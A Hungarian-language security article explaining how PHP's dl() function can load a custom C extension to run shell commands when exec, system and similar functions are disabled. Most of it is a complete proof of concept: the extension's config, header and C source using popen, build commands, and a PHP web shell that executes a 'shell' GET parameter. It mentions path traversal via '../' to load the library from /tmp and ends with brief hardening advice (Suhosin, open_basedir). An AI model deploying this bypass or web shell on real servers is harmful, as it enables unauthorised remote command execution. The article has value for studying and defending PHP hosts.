PHP DL() függvény és veszélyei

1. Bevezetés
2. Futtatás dl() függvénnyel
3. POC
4. Fordítás
5. Védekezés

1. Bevezetés

Sok PHP-gurunak és szerver adminisztrátornak nincs szerencséje a PHP dl() függvényéhez, mivel nincs szükségük rá. Ez a függvény teszi lehetővé külső modulok (library-k) futás közben való betöltését. Mint tudjuk a PHP nyelv teljesen a C nyelv szülötte, így maguk a PHP függvények is C-ben íródtak, íródnak. Minden belsőleg használatos függvény egy belső, PHP-hez alapból adott extension-ben találhatók, amit maga a PHP tölt be az inicializáláskor. Ha ezek a függvények nem elégítik ki a szükségleteinket akkor saját modult kell írnunk, majd konfigurációból, vagy “kézzel” betölteni őket. Miután betöltöttük a library-nkat, a PHP csak azt a C-ben íródott függvényt hívja meg, amit előzőleg implementáltunk.

2. Futtatás dl() függvénnyel

Biztonságtechnikai szempontból azért érdekes számunkra ez a függvény, mert mint említettem, bármit megírhatunk extension-be, majd betölthetjük kedvünkre.

Mit teszünk ha elfogyott az általunk ismert összes futtatási lehetőség?
Nincs exec, system, popen, shell_exec, passthru, ...

Írjunk egy extension-t amiben tudunk futtatni, majd adjunk a visszatérési értékét vissza a PHP-nak, így pótolhatjuk a letiltott függvényeket.

Probléma pluszban abból adódik, hogy a PHP a dl függvénynek megengedi, hogy open_basedir beállításokon belül bárhonnan betölthessünk függvényeket. Szóval, ha akár a /tmp -be írjuk is a library-t, akkor is elérhetjük “../”-ek sokszori ismétlésével.

3. POC

Egy elég jól részletező leírást találhatunk a PHP modulok készítéséről:
http://devzone.zend.com/node/view/id/1021

Letölthető: http://www.rycon.hu/?p=itsec

config.m4

```
PHP_ARG_ENABLE(usedlsystem, whether to enable Use system function from dl support,
[ --enable-usedlsystem   Enable "Use DL System" support])

if test "$PHP_USEDLSYSTEM" = "yes"; then
  AC_DEFINE(HAVE_USEDLSYSTEM, 1, [Whether you have "Use DL System" support])
  PHP_NEW_EXTENSION(usedlsystem, usedlsystem.c, $ext_shared)
fi
```

php-usedlsystem.h

```
#ifndef PHP_USEDLSYSTEM_H
#define PHP_USEDLSYSTEM_H 1

#define PHP_USEDLSYSTEM_VERSION "1.0"
#define PHP_USEDLSYSTEM_EXTNAME "usedlsystem"
```

```
PHP_FUNCTION(usedlsystem);

extern zend_module_entry usedlsystem_module_entry;
#define phpext_usedlsystem_ptr &usedlsystem_module_entry

#endif
```

usedlsystem.c

```
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"
#include "php-usedlsystem.h"

static function_entry usedlsystem_functions[] = {
    PHP_FE(usedlsystem, NULL)
    {NULL, NULL, NULL}
};

zend_module_entry usedlsystem_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
    STANDARD_MODULE_HEADER,
#endif
    PHP_USEDLSYSTEM_EXTNAME,
    usedlsystem_functions,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
#if ZEND_MODULE_API_NO >= 20010901
    PHP_USEDLSYSTEM_VERSION,
#endif
    STANDARD_MODULE_PROPERTIES
};

#ifdef COMPILE_DL_USEDLSYSTEM
ZEND_GET_MODULE(usedlsystem)
#endif

PHP_FUNCTION(usedlsystem)
{
    FILE *fp;
    char *cmd;
    char line[256], all[4096];
    int cmd_len;
```

```
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &cmd, &cmd_len) ==
FAILURE) {
        RETURN_NULL();
    }

    memset(&all, '\0', 4096);
    fp = popen(cmd, "r");
    while (fgets(line, sizeof(line), fp))
    {
      memcpy(all+strlen(all), line, strlen(line));
    }
    pclose(fp);

    RETURN_STR


ING(all, 1);
}
```

usedlsystem.php

```
<?php

dl("usedlsystem.so");

echo usedlsystem($_GET["shell"]);

?>
```

4. Fordítás

Terminálunkba írjuk a következőket:

```
# phpize
# ./configure
# make
```

Majd a modules könyvtárunkba létrejön a usedlsystem.so library, amit használhatunk.

5. Védekezés

Safe_mode-ban illetve open_basedir mellett az említett függvény nem, vagy korlátozottan működik csak.
A Suhosin - Hardened PHP Project - patch-e nem engedi, hogy “..” -al kimozdulhassunk az alapértelmezett könyvtárunkból.

Igazi, optimális megoldást a Suhosin patch adja, így éljünk a lehetőségeivel.

Bucsay Balázs - earthquake[at]rycon[dot].hu - http://www.rycon.hu